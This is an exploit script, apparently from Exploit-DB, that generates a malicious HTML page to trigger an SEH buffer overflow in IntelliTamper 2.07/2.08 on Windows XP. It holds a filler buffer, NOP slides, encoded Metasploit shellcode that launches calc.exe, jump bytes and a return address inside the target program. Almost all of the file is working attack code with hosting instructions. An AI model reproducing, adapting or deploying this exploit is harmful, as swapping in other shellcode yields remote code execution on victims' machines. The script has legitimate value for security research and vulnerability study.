# IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow
# Based on PoC: http://www.exploit-db.com/exploits/11217
# Author: loneferret
# Big thanks to: dookie
# Tested on WinXP SP3 English
# Just copy the resulting html file on a web server, and point Intelli Tamper to that adress.
# Should get a calculator
# Thanks to dookie for telling me to stick to it.
# Exploit-DB : Try Harder (tm)
#!/usr/bin/python
#badchar list: \x00\x3C\x01
buffer = '<html><head><title>loneferret test</title></head><body>'
buffer += '<script defer="'
buffer += '\x41' * 6236 # junk
buffer += '\x90' * 180 # nop slide 1
# win32_exec -
# EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
buffer += '\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4d'
buffer += '\x53\x9e\xc5\x83\xeb\xfc\xe2\xf4\xb1\xbb\xda\xc5\x4d\x53\x15\x80'
buffer += '\x71\xd8\xe2\xc0\x35\x52\x71\x4e\x02\x4b\x15\x9a\x6d\x52\x75\x8c'
buffer += '\xc6\x67\x15\xc4\xa3\x62\x5e\x5c\xe1\xd7\x5e\xb1\x4a\x92\x54\xc8'
buffer += '\x4c\x91\x75\x31\x76\x07\xba\xc1\x38\xb6\x15\x9a\x69\x52\x75\xa3'
buffer += '\xc6\x5f\xd5\x4e\x12\x4f\x9f\x2e\xc6\x4f\x15\xc4\xa6\xda\xc2\xe1'
buffer += '\x49\x90\xaf\x05\x29\xd8\xde\xf5\xc8\x93\xe6\xc9\xc6\x13\x92\x4e'
buffer += '\x3d\x4f\x33\x4e\x25\x5b\x75\xcc\xc6\xd3\x2e\xc5\x4d\x53\x15\xad'
buffer += '\x71\x0c\xaf\x33\x2d\x05\x17\x3d\xce\x93\xe5\x95\x25\xa3\x14\xc1'
buffer += '\x12\x3b\x06\x3b\xc7\x5d\xc9\x3a\xaa\x30\xff\xa9\x2e\x7d\xfb\xbd'
buffer += '\x28\x53\x9e\xc5'
buffer += '\x90' * 243 # nop slide 2
buffer += '\xE9\x55\xFE\xFF\xFF'# jumps back in nop slide 1
buffer += '\xeb\xd0\x90\x90' # small jump back in nop slide 2
buffer += '\x3b\x10\x40\x00' # 0x0040103b intellitamper.exe
buffer += '\x43' * 50
buffer += '">'
buffer + '</body></html>'
file=open('index.html','w')
file.write(buffer)
file.close()
